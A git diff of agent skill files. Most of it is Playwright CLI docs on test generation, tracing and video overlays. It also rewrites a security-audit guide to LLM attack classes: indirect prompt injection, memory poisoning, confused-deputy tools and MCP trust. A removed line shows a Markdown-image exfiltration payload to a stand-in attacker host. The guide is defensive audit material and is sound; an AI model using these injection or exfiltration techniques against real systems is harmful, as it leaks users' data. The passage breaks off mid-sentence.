snapshot +playwright-cli fill e1 "user@example.com" +playwright-cli fill e2 "password123" +playwright-cli click e3 + +# Save the authenticated state +playwright-cli state-save auth.json + +# Step 2: Later, restore state and skip login +playwright-cli state-load auth.json +playwright-cli open https://app.example.com/dashboard +# Already logged in! +``` + +### Save and Restore Roundtrip + +```bash +# Set up authentication state +playwright-cli open https://example.com +playwright-cli eval "() => { document.cookie = 'session=abc123'; localStorage.setItem('user', 'john'); }" + +# Save state to file +playwright-cli state-save my-session.json + +# ... later, in a new session ... + +# Restore state +playwright-cli state-load my-session.json +playwright-cli open https://example.com +# Cookies and localStorage are restored! +``` + +## Security Notes + +- Never commit storage state files containing auth tokens +- Add `*.auth-state.json` to `.gitignore` +- Delete state files after automation completes +- Use environment variables for sensitive data +- By default, sessions run in-memory mode which is safer for sensitive operations diff --git a/.agents/skills/playwright-cli/references/test-generation.md b/.agents/skills/playwright-cli/references/test-generation.md new file mode 100644 index 0000000..35a8d57 --- /dev/null +++ b/.agents/skills/playwright-cli/references/test-generation.md @@ -0,0 +1,433 @@ +# Test generation (plan → generate → heal) + +End-to-end workflow for authoring and maintaining Playwright tests with `playwright-cli`. Every `playwright-cli` action emits the equivalent Playwright TypeScript, and that generated code is the raw material for every test. The sections below can be used independently: + +- **How generation works** — the core mechanic everything else relies on: actions become TypeScript, plus how to add assertions. +- **Plan** — explore the app, produce a spec file describing what to test. +- **Generate** — turn a spec into Playwright test files. Update the spec if it's vague or stale. +- **Heal** — diagnose failing tests, fix the code, reconcile the spec with reality. + +Plan / generate / heal lean on the same mechanic: run `npx playwright test --debug=cli` in the background, then `playwright-cli attach tw-XXXX` to drive the paused page interactively. See [playwright-tests.md](playwright-tests.md) for the debug/attach mechanics. + +--- + +## 0. How generation works + +Every action you perform with `playwright-cli` generates corresponding Playwright TypeScript code. This code appears in the output and can be copied directly into your test files. + +```bash +# Start a session +playwright-cli open https://example.com/login + +# Take a snapshot to see elements +playwright-cli snapshot +# Output shows: e1 [textbox "Email"], e2 [textbox "Password"], e3 [button "Sign In"] + +# Fill form fields - generates code automatically +playwright-cli fill e1 "user@example.com" +# Ran Playwright code: +# await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com'); + +playwright-cli fill e2 "password123" +# Ran Playwright code: +# await page.getByRole('textbox', { name: 'Password' }).fill('password123'); + +playwright-cli click e3 +# Ran Playwright code: +# await page.getByRole('button', { name: 'Sign In' }).click(); +``` + +### Building a test file + +Collect the generated code into a Playwright test: + +```typescript +import { test, expect } from '@playwright/test'; + +test('login flow', async ({ page }) => { + // Generated code from playwright-cli session: + await page.goto('https://example.com/login'); + await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com'); + await page.getByRole('textbox', { name: 'Password' }).fill('password123'); + await page.getByRole('button', { name: 'Sign In' }).click(); + + // Add assertions + await expect(page).toHaveURL(/.*dashboard/); +}); +``` + +### Use semantic locators + +The generated code uses role-based locators when possible, which are more resilient: + +```typescript +// Generated (good - semantic) +await page.getByRole('button', { name: 'Submit' }).click(); + +// Avoid (fragile - CSS selectors) +await page.locator('#submit-btn').click(); +``` + +### Explore before recording + +Take snapshots to understand the page structure before recording actions: + +```bash +playwright-cli open https://example.com +playwright-cli snapshot +# Review the element structure +playwright-cli click e5 +``` + +### Add assertions manually + +Generated code captures actions but not assertions. Add expectations in your test using one of the recommended matchers: + +- `toBeVisible()` — element is rendered and visible +- `toHaveText(text)` — element text content matches +- `toHaveValue(value) / toBeEmpty()` — input/select value matches +- `toBeChecked() / toBeUnchecked()` — checkbox state matches +- `toMatchAriaSnapshot(snapshot)` — page (or locator) matches a partial accessibility snapshot + +Use `playwright-cli generate-locator ` to produce the locator expression for the assertion, and the snapshot/eval commands to capture the expected value. + +When asserting text content, make sure that generated locator does not contain text from the element itself. `getByTestId()` or `getByLabel()` usually work well with asserting text. When locator is text-based, prefer `toBeVisible()` instead. + +Snapshot to be matched does not have to contain all the information - only capture what's necessary for the assertion. You can use regular expressions for unstable values. + +```bash +# Get a stable locator for an element ref to use in the assertion +playwright-cli --raw generate-locator e5 +# getByRole('button', { name: 'Submit' }) + +# Capture expected text content for toHaveText +playwright-cli --raw eval "el => el.textContent" e5 + +# Capture expected input value for toHaveValue/toBeEmpty +playwright-cli --raw eval "el => el.value" e5 + +# Capture expected aria snapshot for toMatchAriaSnapshot/toBeChecked +# (whole page, or use a ref to scope to a region) +playwright-cli --raw snapshot +playwright-cli --raw snapshot e5 +``` + +```typescript +// Generated action +await page.getByRole('button', { name: 'Submit' }).click(); + +// Manual assertions using the outputs above: +await expect(page.getByRole('alert', { name: 'Success' })).toBeVisible(); +await expect(page.getByTestId('main-header')).toHaveText('Welcome, user'); +await expect(page.getByRole('textbox', { name: 'Email' })).toHaveValue('user@example.com'); +await expect(page.getByRole('checkbox', { name: 'Enable notifications' })).toBeChecked(); + +// toMatchAriaSnapshot on the whole page, finds a matching region +await expect(page).toMatchAriaSnapshot(` + - heading "Welcome, user" + - link /\\d+ new messages?/ + - button "Sign out" +`); + +// toMatchAriaSnapshot scoped to a region +await expect(page.getByRole('navigation')).toMatchAriaSnapshot(` + - link "Home" + - link /\\d+ new messages?/ + - link "Profile" +`); +``` + +--- + +## 1. Planning + +Goal: produce a spec file (e.g. `specs/.plan.md`) that enumerates the scenarios to test. **Always** write the spec to a file. + +### 1.1 Prerequisite: workspace + +Check the workspace has Playwright installed before anything else: + +```bash +# Either of these confirms a workspace: +test -f playwright.config.ts || test -f playwright.config.js +npx --no-install playwright --version +``` + +If there is no Playwright install, bootstrap one and let the user pick the defaults: + +```bash +npm init playwright@latest +``` + +### 1.2 Prerequisite: seed test + +A **seed test** is a minimal test that lands the page in the state every scenario starts from: navigation to the app, any required login, feature flags, etc. Scenarios assume a fresh start *after* the seed. `--debug=cli` pauses *inside* this test, so the seed is where every planning and generation session begins. + +Minimum viable seed: + +```ts +// tests/seed.spec.ts +import { test } from '@playwright/test'; + +test('seed', async ({ page }) => { + await page.goto('https://example.com/'); +}); +``` + +Preferred — push navigation into a fixture so scenario tests reuse it: + +```ts +// tests/fixtures.ts +import { test as baseTest } from '@playwright/test'; +export { expect } from '@playwright/test'; + +export const test = baseTest.extend({ + page: async ({ page }, use) => { + await page.goto('https://example.com/'); + await use(page); + }, +}); +``` + +```ts +// tests/seed.spec.ts +import { test } from './fixtures'; + +test('seed', async ({ page }) => { + // Fixture already navigates. This empty body tells agents where to start. +}); +``` + +If no seed exists, create one that at least navigates to the app. + +### 1.3 Explore the app + +Launch the app via the seed in the background and attach: + +```bash +PLAYWRIGHT_HTML_OPEN=never npx playwright test tests/seed.spec.ts --debug=cli +# wait for "Debugging Instructions" and the session name tw-XXXX +playwright-cli attach tw-XXXX +``` + +Resume so the seed runs, then probe the app: + +```bash +playwright-cli resume # resume so that seed test runs fully +playwright-cli snapshot # inventory of interactive elements +playwright-cli click e5 # follow a flow +playwright-cli eval "location.href" # read URL / state +playwright-cli show --annotate # ask the user to point at something +``` + +Map out: + +- Interactive surfaces (forms, buttons, lists, filters, modals). +- Primary user journeys end-to-end. +- Edge cases: empty states, validation errors, very long input, boundary values. +- Persistence: reload, local/session storage, URL fragments. +- Navigation: which controls change the URL, back/forward behaviour. + +**Important**: Do not just open the app url with playwright-cli, always go through the test to capture any custom setup done there. +**Important**: Stop the background test when done exploring. + +### 1.4 Write the spec file + +Save under `specs/.plan.md`. Use this structure: + +```markdown +# Test Plan + +## Application Overview + + + +## Test Scenarios + +### 1. + +**Seed:** `tests/seed.spec.ts` + +#### 1.1. + +**File:** `tests//.spec.ts` + +**Steps:** + 1. + - expect: + - expect: + 2. + - expect: + +#### 1.2. +... + +### 2. + +**Seed:** `tests/seed.spec.ts` +... +``` + +Guidelines: + +- Each scenario is independent and starts from the seed's fresh state — never chain scenarios. +- Scenario names are kebab-case and match the test file name (`should-add-single-todo` → `should-add-single-todo.spec.ts`). +- Cover happy path, edge cases, validation, negative flows, persistence. +- Write steps at the user level ("Type 'Buy milk' into the input"), not the API level ("call `fill`"). +- Put observable outcomes in `- expect:` bullets; each becomes an assertion during generation. + +--- + +## 2. Generate + +Goal: take a spec file and produce Playwright test files. Optionally update the spec if it has drifted. + +### 2.1 Inputs + +- **Spec file**, e.g. `specs/basic-operations.plan.md`. +- **Target**: either a single scenario (e.g. `1.2`), a whole group (`1`), or all. +- **Seed file**, read from the `**Seed:**` line of the scenario's group. + +### 2.2 Generate one scenario + +For each target scenario, in sequence (never in parallel — scenarios share the seed session): + +```bash +PLAYWRIGHT_HTML_OPEN=never npx playwright test --debug=cli # background +playwright-cli attach tw-XXXX +# resume +``` + +**Do not** just open the app url with playwright-cli, always go through the test to capture any custom setup done there. + +Walk the scenario's `Steps:` one by one with `playwright-cli`, treating the spec as the plan and the live app as the source of truth. If a step is vague ("click the button" — which button?), references an element that no longer exists, or contradicts the app's actual behaviour, use your judgement: update the spec to match what the app really does, then keep going. Editing the spec mid-generation is expected. + +Every action prints the equivalent Playwright TypeScript (see [How generation works](#0-how-generation-works)): + +```bash +playwright-cli snapshot # find refs +playwright-cli fill e3 "John Doe" # -> page.getByRole('textbox', {...}).fill(...) +playwright-cli press Enter +playwright-cli click e7 +``` + +For each `- expect:` bullet, add an explicit assertion. See [How generation works](#0-how-generation-works) for details. + +Collect the generated code and write the test file at the path given in the spec: + +```ts +// spec: specs/basic-operations.plan.md +// seed: tests/seed.spec.ts +import { test, expect } from './fixtures'; // or '@playwright/test' if no fixtures file + +test.describe('Signing in and out', () => { + test('should sign in', async ({ page }) => { + // 1. Navigate to the application + // (handled by the seed fixture) + + // 2. Type 'John Doe' into the username field + await page.getByRole('textbox', { name: 'username' }).fill('John Doe'); + + // 3. Type password + await page.getByRole('textbox', { name: 'password' }).fill('TestPassword'); + + // 4. Press Enter to submit + await page.getByRole('textbox', { name: 'password' }).press('Enter'); + + await expect(page.getByRole('heading')).toContainText('Welcome, John Doe!'); + }); +}); +``` + +Rules: + +- **One test per file.** File path, describe name, and test name come verbatim from the spec (minus the ordinal). +- Prefix each numbered step with a `// N. ` comment before its actions. +- Use the describe group name verbatim from the spec (no `1.` ordinal). +- Import from `./fixtures` if the project has one; otherwise `@playwright/test`. +- **Important**: close the CLI session and stop the background test before moving to the next scenario. + +### 2.3 Generate multiple scenarios + +Loop 2.2 over the targeted scenarios one at a time, restarting the seed between each so every test starts from a clean page. This is safe to parallelise due to unique generated session names - just make sure each test run is stopped. + +### 2.4 Run generated tests + +After generation, run the new tests once: + +```bash +PLAYWRIGHT_HTML_OPEN=never npx playwright test tests//.spec.ts +``` + +Any failure goes to Section 3. + +--- + +## 3. Heal + +Goal: fix failing tests, and update the spec if the app's intended behaviour changed. + +### 3.1 Find failing tests + +```bash +PLAYWRIGHT_HTML_OPEN=never npx playwright test +``` + +Record the list of failing `:` entries and process them one at a time. Do not attempt parallel fixes — shared state and the single CLI session make that fragile. + +### 3.2 Debug one failure + +Run the single failing test in debug mode in the background, then attach: + +```bash +PLAYWRIGHT_HTML_OPEN=never npx playwright test tests//.spec.ts: --debug=cli +# wait for "Debugging Instructions" and the tw-XXXX session name +playwright-cli attach tw-XXXX +``` + +The test is paused at the start. Step forward or run to until just before the failing action or assertion, then diagnose: + +```bash +playwright-cli snapshot # did the element change / move / rename? +playwright-cli console # app-side errors? +playwright-cli requests # failed request? wrong payload? +playwright-cli show --annotate # ask the user to point somewhere +``` + +Common causes: selector drift, new wrapper element, label/ARIA rename, timing (transition, async load), assertion text updated in the app, test data leaking between runs. + +Rehearse the corrected interaction with `playwright-cli` — the generated code in the output is what you paste back into the test. + +### 3.3 Apply the fix + +Edit the test file: update the locator, assertion, step order, or inputs to match the corrected behaviour. Stop the background debug run. Rerun the single test to confirm green. + +Never skip hooks or add sleeps as a fix. Never use `networkidle`. + +### 3.4 Reconcile with the spec + +Open the spec referenced by the `// spec:` header in the test file and locate the scenario that matches the test. + +- **Fix was purely technical** (locator drift, better assertion shape) and the spec's user-level behaviour still matches the app → leave the spec alone. +- **Fix changed user-visible steps, inputs, order, or expected outcomes** that the spec describes → update the spec to match reality. Keep the scenario id and file path stable; only the step / expect lines change. +- **Unclear whether the app change is intentional** (spec is stale) **or a regression** (test was right, app is wrong) → **stop and ask the user**. Provide: + - the scenario id (e.g. `2.3`), + - the spec lines that no longer match, + - the observed app behaviour (quote a snapshot excerpt or a concrete outcome). + +Only after the user answers, either update the spec (intentional change) or file/flag the test as covering a bug (regression). + +### 3.5 Iteration and giving up + +- Fix failures one at a time; rerun after each. +- If after thorough investigation you are confident the test is correct but the app is wrong *and* the user has confirmed it's a bug: mark the test `test.fixme(...)` with a comment pointing at the user's decision or issue link. Never silently skip. + +--- + +## Cross-references + +| For... | See | +|---|---| +| `--debug=cli` / attach mechanics | [playwright-tests.md](playwright-tests.md) | +| Mocking requests during exploration/generation | [request-mocking.md](request-mocking.md) | +| Managing the CLI browser session | [session-management.md](session-management.md) | diff --git a/.agents/skills/playwright-cli/references/tracing.md b/.agents/skills/playwright-cli/references/tracing.md new file mode 100644 index 0000000..51b8d30 --- /dev/null +++ b/.agents/skills/playwright-cli/references/tracing.md @@ -0,0 +1,139 @@ +# Tracing + +Capture detailed execution traces for debugging and analysis. Traces include DOM snapshots, screenshots, network activity, and console logs. + +## Basic Usage + +```bash +# Start trace recording +playwright-cli tracing-start + +# Perform actions +playwright-cli open https://example.com +playwright-cli click e1 +playwright-cli fill e2 "test" + +# Stop trace recording +playwright-cli tracing-stop +``` + +## Trace Output Files + +When you start tracing, Playwright creates a `.playwright-cli/traces/` directory with several files: + +### `trace-{timestamp}.trace` + +**Action log** - The main trace file containing: +- Every action performed (clicks, fills, navigations) +- DOM snapshots before and after each action +- Screenshots at each step +- Timing information +- Console messages +- Source locations + +### `trace-{timestamp}.network` + +**Network log** - Complete network activity: +- All HTTP requests and responses +- Request headers and bodies +- Response headers and bodies +- Timing (DNS, connect, TLS, TTFB, download) +- Resource sizes +- Failed requests and errors + +### `resources/` + +**Resources directory** - Cached resources: +- Images, fonts, stylesheets, scripts +- Response bodies for replay +- Assets needed to reconstruct page state + +## What Traces Capture + +| Category | Details | +|----------|---------| +| **Actions** | Clicks, fills, hovers, keyboard input, navigations | +| **DOM** | Full DOM snapshot before/after each action | +| **Screenshots** | Visual state at each step | +| **Network** | All requests, responses, headers, bodies, timing | +| **Console** | All console.log, warn, error messages | +| **Timing** | Precise timing for each operation | + +## Use Cases + +### Debugging Failed Actions + +```bash +playwright-cli tracing-start +playwright-cli open https://app.example.com + +# This click fails - why? +playwright-cli click e5 + +playwright-cli tracing-stop +# Open trace to see DOM state when click was attempted +``` + +### Analyzing Performance + +```bash +playwright-cli tracing-start +playwright-cli open https://slow-site.com +playwright-cli tracing-stop + +# View network waterfall to identify slow resources +``` + +### Capturing Evidence + +```bash +# Record a complete user flow for documentation +playwright-cli tracing-start + +playwright-cli open https://app.example.com/checkout +playwright-cli fill e1 "4111111111111111" +playwright-cli fill e2 "12/25" +playwright-cli fill e3 "123" +playwright-cli click e4 + +playwright-cli tracing-stop +# Trace shows exact sequence of events +``` + +## Trace vs Video vs Screenshot + +| Feature | Trace | Video | Screenshot | +|---------|-------|-------|------------| +| **Format** | .trace file | .webm video | .png/.jpeg image | +| **DOM inspection** | Yes | No | No | +| **Network details** | Yes | No | No | +| **Step-by-step replay** | Yes | Continuous | Single frame | +| **File size** | Medium | Large | Small | +| **Best for** | Debugging | Demos | Quick capture | + +## Best Practices + +### 1. Start Tracing Before the Problem + +```bash +# Trace the entire flow, not just the failing step +playwright-cli tracing-start +playwright-cli open https://example.com +# ... all steps leading to the issue ... +playwright-cli tracing-stop +``` + +### 2. Clean Up Old Traces + +Traces can consume significant disk space: + +```bash +# Remove traces older than 7 days +find .playwright-cli/traces -mtime +7 -delete +``` + +## Limitations + +- Traces add overhead to automation +- Large traces can consume significant disk space +- Some dynamic content may not replay perfectly diff --git a/.agents/skills/playwright-cli/references/video-recording.md b/.agents/skills/playwright-cli/references/video-recording.md new file mode 100644 index 0000000..5209d21 --- /dev/null +++ b/.agents/skills/playwright-cli/references/video-recording.md @@ -0,0 +1,143 @@ +# Video Recording + +Capture browser automation sessions as video for debugging, documentation, or verification. Produces WebM (VP8/VP9 codec). + +## Basic Recording + +```bash +# Open browser first +playwright-cli open + +# Start recording +playwright-cli video-start demo.webm + +# Add a chapter marker for section transitions +playwright-cli video-chapter "Getting Started" --description="Opening the homepage" --duration=2000 + +# Navigate and perform actions +playwright-cli goto https://example.com +playwright-cli snapshot +playwright-cli click e1 + +# Add another chapter +playwright-cli video-chapter "Filling Form" --description="Entering test data" --duration=2000 +playwright-cli fill e2 "test input" + +# Stop and save +playwright-cli video-stop +``` + +## Best Practices + +### 1. Use Descriptive Filenames + +```bash +# Include context in filename +playwright-cli video-start recordings/login-flow-2024-01-15.webm +playwright-cli video-start recordings/checkout-test-run-42.webm +``` + +### 2. Record entire hero scripts. + +When recording a video for the user or as a proof of work, it is best to create a code snippet and execute it with run-code. +It allows inserting appropriate pauses between the actions and annotating the video. There are new Playwright APIs for that. + +1) Perform scenario using CLI and take note of all locators and actions. You'll need those locators to request their bounding boxes for highlight. +2) Create a file with the intended script for video (below). Use pressSequentially w/ delay for nice typing, make reasonable pauses. +3) Use playwright-cli run-code --filename your-script.js + +**Important**: Overlays are `pointer-events: none` — they do not interfere with page interactions. You can safely keep sticky overlays visible while clicking, filling, or performing any actions on the page. + +```js +async page => { + await page.screencast.start({ path: 'video.webm', size: { width: 1280, height: 800 } }); + await page.goto('https://demo.playwright.dev/todomvc'); + + // Show a chapter card — blurs the page and shows a dialog. + // Blocks until duration expires, then auto-removes. + // Use this for simple use cases, but always feel free to hand-craft your own beautiful + // overlay via await page.screencast.showOverlay(). + await page.screencast.showChapter('Adding Todo Items', { + description: 'We will add several items to the todo list.', + duration: 2000, + }); + + // Perform action + await page.getByRole('textbox', { name: 'What needs to be done?' }).pressSequentially('Walk the dog', { delay: 60 }); + await page.getByRole('textbox', { name: 'What needs to be done?' }).press('Enter'); + await page.waitForTimeout(1000); + + // Show next chapter + await page.screencast.showChapter('Verifying Results', { + description: 'Checking the item appeared in the list.', + duration: 2000, + }); + + // Add a sticky annotation that stays while you perform actions. + // Overlays are pointer-events: none, so they won't block clicks. + const annotation = await page.screencast.showOverlay(` +
+ ✓ Item added successfully +
+ `); + + // Perform more actions while the annotation is visible + await page.getByRole('textbox', { name: 'What needs to be done?' }).pressSequentially('Buy groceries', { delay: 60 }); + await page.getByRole('textbox', { name: 'What needs to be done?' }).press('Enter'); + await page.waitForTimeout(1500); + + // Remove the annotation when done + await annotation.dispose(); + + // You can also highlight relevant locators and provide contextual annotations. + const bounds = await page.getByText('Walk the dog').boundingBox(); + await page.screencast.showOverlay(` +
+
+
Check it out, it is right above this text +
+ `, { duration: 2000 }); + + await page.screencast.stop(); +} +``` + +Embrace creativity, overlays are powerful. + +### Overlay API Summary + +| Method | Use Case | +|--------|----------| +| `page.screencast.showChapter(title, { description?, duration?, styleSheet? })` | Full-screen chapter card with blurred backdrop — ideal for section transitions | +| `page.screencast.showOverlay(html, { duration? })` | Custom HTML overlay — use for callouts, labels, highlights | +| `disposable.dispose()` | Remove a sticky overlay added without duration | +| `page.screencast.hideOverlays()` / `page.screencast.showOverlays()` | Temporarily hide/show all overlays | + +## Tracing vs Video + +| Feature | Video | Tracing | +|---------|-------|---------| +| Output | WebM file | Trace file (viewable in Trace Viewer) | +| Shows | Visual recording | DOM snapshots, network, console, actions | +| Use case | Demos, documentation | Debugging, analysis | +| Size | Larger | Smaller | + +## Limitations + +- Recording adds slight overhead to automation +- Large recordings can consume significant disk space diff --git a/.agents/skills/security-audit/AI-AND-LLM.md b/.agents/skills/security-audit/AI-AND-LLM.md index fb47ca8..02ba903 100644 --- a/.agents/skills/security-audit/AI-AND-LLM.md +++ b/.agents/skills/security-audit/AI-AND-LLM.md @@ -2,66 +2,82 @@ #### When to use this file -Reach for this file when the target embeds a language model in a trust-sensitive path: chatbots and assistants, RAG pipelines, agent/tool-calling loops, MCP servers and clients, code that builds prompts from untrusted input, or code that consumes model output and acts on it. These targets fail differently from ordinary web apps — the dangerous data flow is *untrusted text → model → capability or sink*, and the model is a confused deputy that will faithfully carry attacker instructions across a trust boundary the developer assumed the model would respect. It won't. +Reach for this file when a language model participates in a trust-sensitive decision: chatbots and assistants, RAG pipelines, persistent agent memory, agent/tool-calling loops, MCP servers and clients, code that builds prompts from untrusted input, or code that consumes model output and acts on it. The important data flow is *untrusted content → model or memory → capability, authority, or sink*. -Use this alongside `ATTACK-CLASSES.md`, not instead of it: the transport is still HTTP, the tools still hit SQL/shell/filesystem sinks, and access control still applies. This file covers the model-specific layer on top. - -Pick the relevant classes based on Phase 1. Split per subsystem (retrieval, tool dispatch, output rendering) for large targets. +Use this alongside `ATTACK-CLASSES.md`, not instead of it. Transport, access control, query construction, filesystem use, and output rendering remain ordinary trust boundaries. This file covers the model-specific delegation layer. Split large targets by retrieval, memory, tool dispatch, MCP, and output handling. ## Core discipline (include in every agent prompt for this domain) ``` -- "The model can be prompt-injected" is NOT a finding on its own. Prompt injection that only affects the attacker's own session and their own output is a party trick. A finding requires the injection to CROSS A BOUNDARY: reach a victim's context, invoke a capability the requester lacks, exfiltrate data the requester can't see, or drive a downstream sink the attacker couldn't otherwise reach (server-side SQL/shell/SSRF beyond their own session). Name the boundary crossed. -- The bug is in the CODE, not the model. The finding is the missing code-level gate between attacker-influenceable input and a dangerous capability or sink — point at the line that grants the capability, trusts the output, or feeds the context, not the model's mood. Non-determinism is not a defense: the model's probability of complying is an exploitability detail, never a reporting blocker. If the code makes the output harmless (output that never reaches a sink), there is no finding regardless of what the model can be talked into saying. -- Model output is untrusted input. Trace it to its sink with the same rigor as any user input. "It came from our model" is the exact assumption being attacked. -- A guardrail prompt ("never reveal the system prompt", "refuse harmful requests") is not a security control. Do not credit it as a mitigation. If the only thing standing between the attacker and impact is instructions in the prompt, the boundary is undefended. +- Prompt injection alone is not a finding. Require a code-level boundary failure: content reaches another principal's context, invokes authority the requester lacks, discloses data they cannot read, or drives a sink they cannot reach directly. +- Model output, memory, tool descriptions, and MCP responses are untrusted inputs. Point to the code that grants authority, trusts output, writes durable state, or feeds a sink. +- A guardrail prompt is not a security boundary. Count only deterministic checks, resource-scoped authorization, isolation, binding, and constrained credentials. +- State the attacker, affected principal, effective execution identity, resource, exact action, authority used, and observable impact. An intentional direct request to use the requester's existing authority is not a delegation defect merely because a model executes it. +- Authorization and action binding are separate controls. Attacker-controlled content that causes an action under an affected principal's valid authority is an action-binding failure when that principal did not intentionally request or approve the exact action. +- Classify every candidate as `confirmed` only after source evidence and bounded local validation establish the boundary and result. Use `needs_validation` when a required provider, deployment, model, renderer, or identity behavior is not observable locally. ``` -## Prompt-injection attack classes (subagent_type: `general`) +## Context, retrieval, and memory attack classes (subagent_type: `general`) + +**Indirect injection through retrieved or ingested content** +An attacker can write a RAG document, indexed page, file, email, issue body, tool response, or metadata that enters a different principal's model context. Trace who can write each source, how retrieval scopes it, whose session consumes it, and what capability is enabled there. Check isolation, resource authorization, and binding to the consuming principal's intent separately. The defect is a missing deterministic control, not persuasive text by itself. + +**Cross-session or cross-tenant context bleed** +Conversation history, embeddings, retrieval results, or prompt caches are keyed too broadly. Verify tenant and ACL filters in the query itself and every cache key. A tenant field stored on an object is not enforcement if an alternate query, shared cache, or batch path omits it. + +**Persistent memory poisoning** +Attacker-controlled content or model summaries are written into memory that later shapes another task, user, or privileged session. Review who may create, update, merge, and delete memory; its provenance and tenant scope; whether low-trust observations become durable instructions or facts; and whether retrieval distinguishes user preferences from tool policy. Memory intentionally saved by a user and used only for that user's intentional, allowed requests is not a cross-boundary finding. + +**Prompt role and provenance confusion** +Prompt assembly lets untrusted text impersonate a system message, prior turn, tool result, policy, or memory record. Look for string concatenation, untyped history, caller-controlled role fields, and serialization round trips that lose source labels. Confirm that the forged provenance changes a deterministic trust decision or reaches a meaningful capability. + +## Tool and action attack classes (subagent_type: `general`) -**Indirect injection via retrieved / ingested content** -The high-value class. Attacker plants instructions in data the model later ingests in *someone else's* session: a RAG document, an indexed web page, a file upload, an email, an issue/PR body, a tool's response, a filename. Trace every source that reaches the prompt context and ask "who can write this, and whose session does it fire in?" Find the ingestion path; confirm the content reaches the context window unfiltered; confirm that context has a capability worth hijacking. +**Tool-argument injection into a downstream sink** +Model-produced arguments reach SQL, shell, file, URL-fetch, or privileged APIs without handler-side validation. Treat the tool schema as input parsing, then follow each field from decoded call to sink. Structured output narrows shape; it does not establish authorization, safe paths, safe URLs, or query semantics. -**Tool-argument injection (model output → sink)** -The model emits a tool call and the code executes it with model-generated arguments. Those arguments hit a real sink — SQL (`query(args.filter)`), shell (`exec(args.cmd)`), file path (`readFile(args.path)`), HTTP (`fetch(args.url)` → SSRF), or another API. The code trusts the arguments because "the model produced structured output." Trace each tool handler's parameters to their sink and validate them at the handler like any request body. +**Excessive agency and confused-deputy authority** +The agent uses a service identity or broad credential, while the tool handler does not re-check the requesting principal's permission on the named resource. Verify both the effective identity and whether the caller could perform that exact operation through the normal product interface. A shared credential with enforced per-user query scope is not a defect. -**Direct injection into a privileged capability** -Direct (same-session) injection only matters when the model can do something the *user* is not authorized to do directly. If the assistant runs tools under a service identity, or has a system prompt containing secrets, or can reach internal endpoints, then a user talking the model into using those crosses a privilege boundary even in their own session. If the model can only do what the user could already do via the UI, direct injection is not a finding. Hunt step: enumerate every capability the assistant holds that its users don't, then check whether same-session user text can steer the model into each. +**Action-confirmation and approval binding** +A user approves one described action but execution can use changed arguments, a different resource, a different principal, or a later model turn. An action-binding defect also exists when attacker-controlled content causes a side effect under a victim's valid authority without the victim's intentional request or approval, even if generic authorization permits the victim to perform it. Review whether intent or confirmation binds the normalized tool name, complete argument object, requester, target, amount, expiry, and batch membership. Check retries and resumed sessions: an approval must not authorize a mutated or duplicate side effect. -**Prompt-template / delimiter injection** -Untrusted input concatenated into the prompt without fencing or role separation, so the attacker forges structure the orchestrator trusts: a fake system turn, a fabricated prior conversation turn, or a counterfeit tool result. The finding is the assembly code — the concatenation that lets user bytes impersonate a trusted role — not the model obeying them. Find where the prompt is built and whether untrusted spans are delimited or escaped from control text. +**Tool-schema and dispatcher disagreement** +The schema accepts aliases, extra fields, duplicate keys, coercions, nested free-form objects, or out-of-range values that the dispatcher or handler interprets differently. Compare schema validation, canonicalization, generated bindings, and handler defaults. Validate again where values become resource selectors or security-relevant options. -## Agent and tool-calling attack classes (subagent_type: `general`) +**Unbounded delegated action loops** +A bounded request can enqueue repeated spend, send, mutation, or external API work without a per-request budget, per-action authorization, cancellation, or idempotency control. Confirm impact on shared cost, quotas, other users, or durable state. Do not test by exhausting a service; use code-level accounting and a locally bounded loop. -**Excessive agency / confused-deputy authority** -The agent executes tools under *its own* identity (service account, broad API key, DB superuser) rather than the requesting user's. Every tool call is then a privilege-escalation vector: the user asks, the agent acts with more authority than the user has. Check whether tool execution re-checks the *user's* permission on the *specific resource*, or just that "the agent is allowed to call this tool." The same gap at the parameter level is IDOR through tools: `get_document(id)` / `read_file(path)` with the ID filled from user text and no check that *this* user may reach *that* resource — endpoint IDOR reached by asking. Common false positive: a shared service credential that runs every query *scoped to the authenticated user's ID* is normal, safe architecture — not a confused deputy. +## MCP and sub-agent trust classes (subagent_type: `general`) -**Unbounded action loops / cost and side-effect abuse** -Agent loops that call tools until a goal is met: can an attacker drive an expensive or irreversible loop (spend, send, delete, external API calls) through a single crafted request? Look for tool calls with side effects inside a model-controlled iteration with no per-action authorization or budget. The impact that makes this a finding crosses out of the attacker's own session — it hits the operator's bill, a shared rate/quota limit, or other tenants' availability (denial-of-wallet), so it survives the "capability they already have" test even when the attacker only touches their own request. +**Sub-agent and MCP trust inheritance** +A delegated task receives the full session, credentials, memory, or capabilities rather than the least authority required. Check the principal and tenant carried into each call, capability narrowing, credential audience, and whether delegated results are treated as untrusted on return. -**Sub-agent / MCP trust inheritance** -When an agent spawns sub-agents or connects to MCP servers, what identity and context do they inherit? A sub-agent or tool server that receives the full session, credentials, or a broader capability set than the task needs is a lateral-movement primitive. A malicious or compromised MCP server is an attacker that speaks directly into the model's context — treat its responses as indirect injection. +**MCP server and tool identity confusion** +Calls or results are routed by attacker-influenceable server names, tool names, request IDs, resource URIs, or model-selected aliases rather than the authenticated connection and outstanding request. Check whether two servers can claim the same tool or resource identity, whether reconnect changes the binding, and whether a response from one server can satisfy another server's pending call. -## Output-handling and disclosure attack classes (subagent_type: `general`) +**MCP metadata and schema as policy** +Tool descriptions, resource metadata, prompts, completion hints, or schemas supplied by an MCP peer are trusted as policy or authorization. These fields can guide the model but cannot grant capability. Find the deterministic allowlist, server identity check, and handler authorization that remain authoritative when metadata conflicts. -**Insecure output rendering (XSS / injection via model output)** -Model output rendered as HTML/Markdown without sanitization → stored/reflected XSS. Markdown image/link rendering is the classic exfiltration channel: the model emits `![x](https://attacker/?d=)` and the client fetches it, leaking context to the attacker's server. Check where model output is displayed and whether it's treated as trusted HTML. The image-exfil channel only fires if the render surface auto-loads remote resources and no CSP `img-src` restricts the destination — if the rendering client is out of scope or unknown (native app, terminal, CSP-locked web UI), the sink is unconfirmed: treat it as unverifiable, not a finding. +## Output and disclosure attack classes (subagent_type: `general`) -**System-prompt / context extraction to a real secret** -Extraction is only a finding if the context actually contains something sensitive — API keys, other users' data, internal URLs, hidden business rules that gate access. Confirm the secret is really in the context (read the prompt-assembly code) before reporting. A leaked generic "you are a helpful assistant" prompt is not a finding. +**Insecure output rendering** +Model output reaches an executing HTML, Markdown, template, URL, or command sink without the sink's required encoding and policy. For browser rendering, verify auto-loaded resources and CSP or sanitization in `CLIENT-SIDE.md`; renderer behavior outside the repository makes the candidate 